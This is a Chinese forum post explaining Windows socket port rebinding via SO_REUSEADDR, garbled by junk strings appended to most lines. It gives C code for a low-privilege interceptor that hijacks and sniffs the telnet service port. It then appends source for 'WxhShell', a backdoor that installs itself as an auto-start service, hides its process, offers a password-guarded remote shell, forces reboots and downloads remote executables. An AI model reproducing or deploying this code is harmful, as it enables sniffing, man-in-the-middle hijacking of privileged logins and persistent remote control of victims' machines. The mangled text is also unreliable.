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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 63i&e/pv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :J5CmU $  
2fUz}w (  
  saddr.sin_family = AF_INET; +w@/$datI  
R ta_\Aj!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FFF7f5F  
[vCZD8"Y8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <jVk}gi)Jp  
"r{ ^Y??  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B"RZpx  
{+QQ<)l^tJ  
  这意味着什么?意味着可以进行如下的攻击: r3Ih]|FK#  
<,T#* fg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YjG:ECj}  
sWLH"'Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sE(mK<{pk  
K9'AYFse  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t4iV[xl3F  
@L^30>?l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _~ 7cn  
!1?Nc}T0Q&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;,LlOR  
B3Esfk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3sGe#s%  
iW <B1'dp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;0\  
`L}Irt}  
  #include 5fa_L'L#  
  #include (z<& PP  
  #include utwqP~  
  #include    %(wa~:m+S-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *YY:JLe  
  int main() LaiUf_W#X  
  { Fop "m/  
  WORD wVersionRequested; K29KS)~;W  
  DWORD ret; :j,e0#+sA  
  WSADATA wsaData; f_Q_qckB%x  
  BOOL val; <:BhV82l  
  SOCKADDR_IN saddr; :ITz\m  
  SOCKADDR_IN scaddr; "%Eyb\V!  
  int err; 3AD^B\<gB  
  SOCKET s; R|AG N*.  
  SOCKET sc; iPJZ%  
  int caddsize; /CN^">|_  
  HANDLE mt; N5[fw z w  
  DWORD tid;   7nHlDPps)  
  wVersionRequested = MAKEWORD( 2, 2 ); p,9eZUGy  
  err = WSAStartup( wVersionRequested, &wsaData ); ~?{@0,$  
  if ( err != 0 ) { Hv1d4U"qM  
  printf("error!WSAStartup failed!\n"); aKC3T-  
  return -1; m:~s6c6H  
  } &sQtS  
  saddr.sin_family = AF_INET; Re b^w,  
   PF- sb&q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @cF aYI  
,saf"Ed=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N LC}XL  
  saddr.sin_port = htons(23); 3u8HF-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @4b"0ne}h  
  { ~>ACMO  
  printf("error!socket failed!\n"); E-i rB/0  
  return -1; G?d28p',.  
  } mOyBSOad4  
  val = TRUE; h^bbU.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gKS0!U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^r$P&}Z\b  
  { 7@rrAs-"Z  
  printf("error!setsockopt failed!\n"); !T|X/B R  
  return -1; cX553&  
  } f?_H02j`/E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X4Eq/q"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *B`wQhB%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z&d&Ky  
=8fp4# ]7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ek#{!9-  
  { W04-D  
  ret=GetLastError(); [HK[{M =v=  
  printf("error!bind failed!\n"); `hL16S  
  return -1; ; eq^m,oz  
  } i%0Ml:Y  
  listen(s,2); 'zZN]P  
  while(1) SUfl`\O  
  { zrG&p Z  
  caddsize = sizeof(scaddr); 4jj@"*^a  
  //接受连接请求 C jsy1gA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _w=si?q  
  if(sc!=INVALID_SOCKET) 9#.nNv*z3  
  { IiIF4 pQ,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S!k cC-7  
  if(mt==NULL) Y:/z)"u,C  
  { /e6\F7  
  printf("Thread Creat Failed!\n"); 5R/!e`(m  
  break; *K'(t  
  } zVYX#- nv  
  } kl_JJX6jPP  
  CloseHandle(mt); -Yy,L%E]F:  
  } 9#iu#?*B  
  closesocket(s); ! iA0u  
  WSACleanup(); iXMs*G cK  
  return 0; )&<BQIv9/  
  }   try'%0}>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'q8T*|/  
  { ! &Vp5]c  
  SOCKET ss = (SOCKET)lpParam; U`D/~KJ{Y  
  SOCKET sc; I8)x 0)Lx  
  unsigned char buf[4096]; S.aSNH<  
  SOCKADDR_IN saddr; Lk6UT)C  
  long num; tpO%)*  
  DWORD val; +HQX]t:Y  
  DWORD ret; p@y?xZS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |vw0:\/ H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +dcBh Dq  
  saddr.sin_family = AF_INET; v{"$:Z ow  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0~Z >}(  
  saddr.sin_port = htons(23); nc!P !M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h.E8G^}@  
  { ] hGU.C"(  
  printf("error!socket failed!\n"); nxkbI:+t  
  return -1; 8<z+hWX=4  
  } Ly0^ L-~|  
  val = 100; UR44 iA]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w xKlBx7  
  { $DeHo"mg7m  
  ret = GetLastError(); K>hQls+  
  return -1; -/Pg[Lx7Pb  
  } \C $LjSS-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kHygif !I4  
  { NKd}g  
  ret = GetLastError(); _o/LFLq  
  return -1; SK t&]H  
  } S<H 2e{~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :rd{y`59>&  
  { 6e0tA()F  
  printf("error!socket connect failed!\n"); PTrKnuM\J_  
  closesocket(sc); Ybo:2e  
  closesocket(ss); tBC`(7E}  
  return -1; CT,PQ  
  } u0 myB/`  
  while(1) .\XFhOsa  
  { /.P9n9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .}!"J`{ W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OGW,[k= 2{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BdBwfH%:  
  num = recv(ss,buf,4096,0); ovm109fTx  
  if(num>0) -5vg"|ia,  
  send(sc,buf,num,0); 5My4a9  
  else if(num==0) 3,`I\>No  
  break; ;Z^\$v9?  
  num = recv(sc,buf,4096,0); Rp.42v#ck  
  if(num>0) gySCK-(y  
  send(ss,buf,num,0); >T84NFdz+  
  else if(num==0) 6S K;1Bp-{  
  break; hOFC8g  
  } Z p8\n:  
  closesocket(ss); &:Q^j:  
  closesocket(sc); (;\" K?  
  return 0 ; Ckd j|  
  } 6Qtyv  
Uh[MB wK  
Sc b'  
========================================================== g0({$2Q7R  
0?V{u`*  
下边附上一个代码,,WXhSHELL E8X(AZ 2  
75v7w  
========================================================== F8xz^UQO  
g[G+s4Nv  
#include "stdafx.h" +O$`8a)m  
gXJtk;  
#include <stdio.h> p1F{ v^  
#include <string.h> _2Zc?*4  
#include <windows.h> &{4KymB:  
#include <winsock2.h> d1jg3{pwA  
#include <winsvc.h> oYx4+xH/  
#include <urlmon.h> /1@py~ZX  
i.Rxx, *?  
#pragma comment (lib, "Ws2_32.lib") +{~ cX] |  
#pragma comment (lib, "urlmon.lib") *@;bWUJ  
_tlr8vL  
#define MAX_USER   100 // 最大客户端连接数 m@Hg:DY  
#define BUF_SOCK   200 // sock buffer Xsk/U++  
#define KEY_BUFF   255 // 输入 buffer 6;C2^J@  
o[I s$j  
#define REBOOT     0   // 重启 Y{KN:|i.!  
#define SHUTDOWN   1   // 关机 !w1 acmo<_  
mX2X.ww(4  
#define DEF_PORT   5000 // 监听端口 q}P UwN6  
w`GjQIA  
#define REG_LEN     16   // 注册表键长度 *epK17i=  
#define SVC_LEN     80   // NT服务名长度 Tuz~T _M  
Y sDai<  
// 从dll定义API /'4]"%i%3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B#]:1:Qn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lLur.f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G>edJPfQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -G[TlH06  
&E]<KbVx  
// wxhshell配置信息 yi8AzUW cW  
struct WSCFG { _BEDQb{"|  
  int ws_port;         // 监听端口 I)\{?LdHR  
  char ws_passstr[REG_LEN]; // 口令 zr ~4@JTS  
  int ws_autoins;       // 安装标记, 1=yes 0=no J``5;%TJp  
  char ws_regname[REG_LEN]; // 注册表键名 V~_6t{L  
  char ws_svcname[REG_LEN]; // 服务名 /2Z7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SJ}PV:x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kXWC o6?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |H(i)yu"5'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \WqC^Di  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ef@F!s_fI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~Qd|.T  
ta@fNS4  
}; Y .E.(\  
[{0/'+;9  
// default Wxhshell configuration _VB;fH$  
struct WSCFG wscfg={DEF_PORT, B qo#cnlG  
    "xuhuanlingzhe", i# fvF)  
    1, l1.eAs5U  
    "Wxhshell", 6>3zD)tG  
    "Wxhshell", SBaTbY0  
            "WxhShell Service", E9w"?_A)  
    "Wrsky Windows CmdShell Service", )8taMC:H^  
    "Please Input Your Password: ", | 2GrOM&S  
  1, z%]3`_I  
  "http://www.wrsky.com/wxhshell.exe", , {}S<^?]  
  "Wxhshell.exe" Uw?25+[b  
    }; V#B'm?aQ  
r3Kx  
// 消息定义模块 E<p<"UjcCJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #3O$B*gV6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]M 2n%9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )afH:  
char *msg_ws_ext="\n\rExit."; y#P _ }Kfo  
char *msg_ws_end="\n\rQuit."; #'m#Q6`  
char *msg_ws_boot="\n\rReboot..."; S#0C^  
char *msg_ws_poff="\n\rShutdown..."; XM3~]  
char *msg_ws_down="\n\rSave to "; /GO((v+J  
VrKLEN\  
char *msg_ws_err="\n\rErr!"; ^Ge|tBMoKE  
char *msg_ws_ok="\n\rOK!"; 7H)tF&  
*CVI@:Q9  
char ExeFile[MAX_PATH]; @7sHFwtar?  
int nUser = 0; ]E*xn  
HANDLE handles[MAX_USER]; #bb$Icmtk  
int OsIsNt; A&d_! u>  
k#2b3}(,  
SERVICE_STATUS       serviceStatus; ;p"#ZS7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "/x/]Qx2  
AY]rQ:I  
// 函数声明 zR%)@wh  
int Install(void); ?U,XyxN  
int Uninstall(void); h2aO-y>K  
int DownloadFile(char *sURL, SOCKET wsh); 0Rn`63#  
int Boot(int flag); $wcV~'fM  
void HideProc(void); aSeh?2n8  
int GetOsVer(void); zB"y^g  
int Wxhshell(SOCKET wsl); S+pm@~xe  
void TalkWithClient(void *cs); O_D;_v6Ii+  
int CmdShell(SOCKET sock); 3ZAzv en  
int StartFromService(void); =I$:-[(  
int StartWxhshell(LPSTR lpCmdLine); oTeQY[%$  
xQ=L2pX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3UcOpq2i\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b~+\\,q}  
%%Wn:c>  
// 数据结构和表定义 /j:-GJb*!u  
SERVICE_TABLE_ENTRY DispatchTable[] = s=XqI@  
{ #~6X9,x=  
{wscfg.ws_svcname, NTServiceMain}, FFc?Av?_  
{NULL, NULL} (!<G` ;}u  
}; -<5H8P-  
M,eq-MEK  
// 自我安装 Eqh&<]q  
int Install(void) 5dLb`G f  
{ kJ0otr2P  
  char svExeFile[MAX_PATH]; t<qXXQ&5  
  HKEY key; T) cbpkH4  
  strcpy(svExeFile,ExeFile); Y;8.(0r/  
ld'Aaxl&  
// 如果是win9x系统,修改注册表设为自启动 pB79#4  
if(!OsIsNt) { YfH+kDT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SVT'fPm1M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x;/%`gKn8  
  RegCloseKey(key); EJO6k1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o(5 ( ]bJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @xAfD{}f!  
  RegCloseKey(key); -MeO|HWm  
  return 0; p:qj.ukw  
    } qC YXkZ%`  
  } ZSW`/}Dp;  
} ON$-g_s>)  
else { qgsKbsl  
L3X[; |v}  
// 如果是NT以上系统,安装为系统服务 Edav }z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rKWkT"  
if (schSCManager!=0) xr 4kBC t  
{ .JL?RH2@8  
  SC_HANDLE schService = CreateService )V*V  
  ( .cm$*>LW:x  
  schSCManager, }Z\PE0  
  wscfg.ws_svcname, XDq*nA8#5B  
  wscfg.ws_svcdisp, =ZN~*HLl}  
  SERVICE_ALL_ACCESS, 9p<ZSh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VBI~U?0  
  SERVICE_AUTO_START, 8Dy;'BtT  
  SERVICE_ERROR_NORMAL, i9k/X&V  
  svExeFile, s:#\U!>0`  
  NULL, [O(8iz v  
  NULL, nc.X+dx:  
  NULL, +eD+Z.{  
  NULL, RgT|^|ZA  
  NULL u@-x3%W  
  ); Q#rj>+?  
  if (schService!=0) 2N:|BO>  
  { }e*OprF  
  CloseServiceHandle(schService); {z/Y~rf  
  CloseServiceHandle(schSCManager); *R6Ed  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \`M8Mu9~w  
  strcat(svExeFile,wscfg.ws_svcname); T#e ;$\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &udlt//^%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O o+pi$W  
  RegCloseKey(key); YCd[s[  
  return 0; B#K{Y$!v  
    } /2e&fxxD  
  } 3KW4 ]qo~  
  CloseServiceHandle(schSCManager); <wZ2S3RNA  
} P6ztP$M(  
} :v!e8kM\x  
OWRT6R4v  
return 1; t$lO~~atr  
} i7/I8y  
]FNqNZ  
// 自我卸载 |8m;}&r$  
int Uninstall(void) j!:^+F/  
{ !w8t`Z['  
  HKEY key; E9IU,P6a  
V94eUmx>?+  
if(!OsIsNt) { VNcxST15a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `'Af`u\R  
  RegDeleteValue(key,wscfg.ws_regname); z"n7du}v  
  RegCloseKey(key); l$~3_3+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aI l}|n"  
  RegDeleteValue(key,wscfg.ws_regname); *|T]('xwC  
  RegCloseKey(key); vO#=]J8`  
  return 0; ""JTU6]MS  
  } #ONad0T;  
} 1sqBBd"=PY  
} (HW!!xM  
else { 1@)kNg)*$  
#MyR:V*a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +y$%S4>0tp  
if (schSCManager!=0) %)$^_4.g  
{ F?wfh7q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t0 1@h_ WS  
  if (schService!=0) GEdWpYKS-`  
  { Be=J*D!E=>  
  if(DeleteService(schService)!=0) { ?~vVSY  
  CloseServiceHandle(schService); `*J;4Ju@  
  CloseServiceHandle(schSCManager); 0Y_?r$M  
  return 0; 5v f?E"\r  
  } .>Gnb2  
  CloseServiceHandle(schService); -_bnGY%,  
  } *ydkx\pT  
  CloseServiceHandle(schSCManager); i: 6`Rmz1.  
} o"te7nBI  
} F%t_9S,)O  
OR&'  
return 1; {{G`0i2KV  
} 8!~8:?6n  
8 z) K  
// 从指定url下载文件 _.9):i2<SF  
int DownloadFile(char *sURL, SOCKET wsh) \>T+\?M  
{ o7/S'Haxc]  
  HRESULT hr; #Sxk[[KwH*  
char seps[]= "/"; yJCqP=  
char *token; %V,2,NCd  
char *file; e7m>p\"  
char myURL[MAX_PATH]; L\cd=&b`  
char myFILE[MAX_PATH]; 77FI&*q  
Gb=pQ (n4  
strcpy(myURL,sURL); q&/<~RC*  
  token=strtok(myURL,seps); 9{D u)k  
  while(token!=NULL) mv5=>Xc6  
  { %h}Qf&U_  
    file=token; PTU_<\  
  token=strtok(NULL,seps); BGtr=&Hq  
  } uwQ~4   
)\ `AD#  
GetCurrentDirectory(MAX_PATH,myFILE); R&>G6jZ?8  
strcat(myFILE, "\\"); g*]hmkYe9  
strcat(myFILE, file); skd3E4  
  send(wsh,myFILE,strlen(myFILE),0); eGwO!Lv}B  
send(wsh,"...",3,0); (i1 JDe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Km ^>9  
  if(hr==S_OK) >@b]t,rrK  
return 0; f9" M^i  
else bW]7$?acv  
return 1; 7Ei,L[{\i#  
;6 ?a8t@  
} JPH! .@  
7U9*-9  
// 系统电源模块 M id v  
int Boot(int flag) 1@dB*Jt  
{ /C[Q?  
  HANDLE hToken; Uuxx^>"h\  
  TOKEN_PRIVILEGES tkp; ',WnT:  
O'm5k l  
  if(OsIsNt) { 2)~`.CD?L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TpAE9S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6`PQP;   
    tkp.PrivilegeCount = 1; S/itK3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V-{3)6I$hG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wtl3Ex,DO  
if(flag==REBOOT) { R@X65o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,QeJ;U  
  return 0; :*=fGwIWS  
} |)+s,LT5  
else { HUA{ P%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vGCvJ*4!  
  return 0; W\c1QY$E  
} rAn:hR{  
  } kqH:H~sgD  
  else { CN{xh=2qY[  
if(flag==REBOOT) { %eE0a4^".  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e9=UTn{!  
  return 0; E/3i _R  
} WYUel4Z  
else { }@y(-7t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q4EOI  
  return 0; ~Ydm"G  
} gkM Q=;Nn  
} }Q?a6(4  
VnYcqeCm  
return 1; I}jem  
} Q}: $F{  
&RHZ7T  
// win9x进程隐藏模块 eJ%b"H!  
void HideProc(void) .6=;{h4cpB  
{ _f1;Hhoa  
T,oZaJ<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ox5Es  
  if ( hKernel != NULL ) EzeU-!|W  
  { n *EGOS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h"y~!NWn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N/!(`Z,  
    FreeLibrary(hKernel); .(&w/jR  
  } ~>#?.f  
xHD$0eq  
return; G=F_{z\}  
} r;9 V7C  
&qzy?/i8  
// 获取操作系统版本 bt};Pn{3  
int GetOsVer(void) JvsL]yRT  
{ OQIr"  
  OSVERSIONINFO winfo; }1DzWS-hh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1=h5Z3/fj  
  GetVersionEx(&winfo); ;X N Ahg7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8OMMV,QF  
  return 1; AtUtE#K  
  else 25Ro )5  
  return 0; D/ VEl{ba-  
} ~"\WV4}`v  
|[0Ijm2  
// 客户端句柄模块 ^?2zoS#iw  
int Wxhshell(SOCKET wsl) w!pj);jy{  
{ '5b0 K1$"  
  SOCKET wsh; {r~=mQ  
  struct sockaddr_in client; *b_Iby-ZD  
  DWORD myID; "L;@qCfhO  
WD_{bd)  
  while(nUser<MAX_USER) ${rWDZ0Z  
{ JeN]sK)8x  
  int nSize=sizeof(client); pss e^rFg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V!(7=ku!`  
  if(wsh==INVALID_SOCKET) return 1;  LJ;&02w@  
nLOK1@,4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BNF*1JO  
if(handles[nUser]==0) { P,hH~!  
  closesocket(wsh); ,6X__Z#rGT  
else VC0Tqk  
  nUser++; vcCNxIzEG  
  } pN)x,<M)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6"o=`Sq  
y@,PTF  
  return 0; [y}h   
} -LT!LBnEkf  
KxD/{0F  
// 关闭 socket Lq$ig8V:O7  
void CloseIt(SOCKET wsh) YR? E z<p  
{ /E2P  
closesocket(wsh); # S/n3  
nUser--; 'sXrtl7{^  
ExitThread(0); @/?i|!6  
} " dGN0i  
/qJCp![X  
// 客户端请求句柄 A'rd1"K  
void TalkWithClient(void *cs) XI |k,Ko<  
{ IU5T5p  
rM^2yr7H  
  SOCKET wsh=(SOCKET)cs; _3D9>8tzE7  
  char pwd[SVC_LEN]; @87Y/_l  
  char cmd[KEY_BUFF]; 9l "=]7~%  
char chr[1]; jl>TZ)4}V  
int i,j; &tvtL  
/V{UTMSz  
  while (nUser < MAX_USER) { y2#"\5dC  
b9#(I~}  
if(wscfg.ws_passstr) { ^"p . 3Hy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -)^vO*b 0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [*5]NNB  
  //ZeroMemory(pwd,KEY_BUFF); kS &>g  
      i=0; (CRx'R  
  while(i<SVC_LEN) { ZfX$q\7  
37kVJQcA1  
  // 设置超时 K:jn^JN$  
  fd_set FdRead; Ha|}Oj  
  struct timeval TimeOut; MJqWc6{ n  
  FD_ZERO(&FdRead); J'sa{/ #  
  FD_SET(wsh,&FdRead); yyljyE  
  TimeOut.tv_sec=8; :H3/+/x  
  TimeOut.tv_usec=0; ~  z3J4s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .MG83Si  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +B1&bOb  
$A9Pi"/*z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ohq Thl  
  pwd=chr[0]; +a^gC  
  if(chr[0]==0xd || chr[0]==0xa) { jk&xzJH.  
  pwd=0; 2b"DkJj'  
  break; [.fh2XrVM  
  } xl`AiO `K  
  i++; 'nGUm[vh  
    } RG'76?z  
z2t+1 In,  
  // 如果是非法用户,关闭 socket QEf@wv;T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6 h#U,G  
} dt:$:,"   
eGq7+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I/tMFg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7~QI4'e  
C 5gdvJN  
while(1) { (1[59<cg]  
z/xPI)R[  
  ZeroMemory(cmd,KEY_BUFF); GnW MI1$  
ceE]^X;p  
      // 自动支持客户端 telnet标准   $Q8 &TM}E  
  j=0; uO LShNo  
  while(j<KEY_BUFF) { =/46;844T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .>F4s_6l  
  cmd[j]=chr[0]; 9D1WUUa  
  if(chr[0]==0xa || chr[0]==0xd) { 9;U?_   
  cmd[j]=0; $\h-F8|JMX  
  break; \\<=J[R.M  
  } c**&,aL  
  j++; H,L{N'[Xph  
    } Pn OWQ8=  
4)8VmCW  
  // 下载文件 vHpw?(]  
  if(strstr(cmd,"http://")) { \OVtvJV]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u3+B/ 5x  
  if(DownloadFile(cmd,wsh)) R>"Fc/{y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Q =>7%ZA  
  else &R<aRE:+R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g) u%?T  
  } %|(c?`2|  
  else { ~\CS%thX  
2uE<mjCt-r  
    switch(cmd[0]) { W[O]Aal{  
  |cma7q}p  
  // 帮助 dz9U.:C  
  case '?': { JyMk @Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Wk_|zO-  
    break; >%U+G0Fq  
  } Yao}Xo9}  
  // 安装 32\.-v  
  case 'i': { Bxm,?=h  
    if(Install()) XJ4f;U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tf~B,?  
    else M-"j8:en  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BUBx}dbCM  
    break; `sYFQ+D#O  
    } W%g*sc*+  
  // 卸载 TBBnsj6e  
  case 'r': { a'i Q("  
    if(Uninstall()) yQ[;y~W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D9oNYF-V  
    else ':wf%_Iw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /YvXyi>^"%  
    break; Y7}>yC/GY  
    } [b3!H{b#  
  // 显示 wxhshell 所在路径 `Y?VQ~ci>  
  case 'p': { 'K,\  
    char svExeFile[MAX_PATH]; 4!Js="  
    strcpy(svExeFile,"\n\r"); u< BU4c/p  
      strcat(svExeFile,ExeFile); SN{+ Pk  
        send(wsh,svExeFile,strlen(svExeFile),0); ,5n!a.T  
    break; Lj1l ]OD  
    } 3^o(\=-JX  
  // 重启 v03cQw\"WE  
  case 'b': { !!1?2ine  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *DF3juf~  
    if(Boot(REBOOT)) gpV4qDXV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c|Ivet>3  
    else { 5CkG^9  
    closesocket(wsh); 7]h%?W !  
    ExitThread(0); e%\^V\L  
    } cfLLFPhv)  
    break; u;`]U$Qq9  
    } A5XMA|2_  
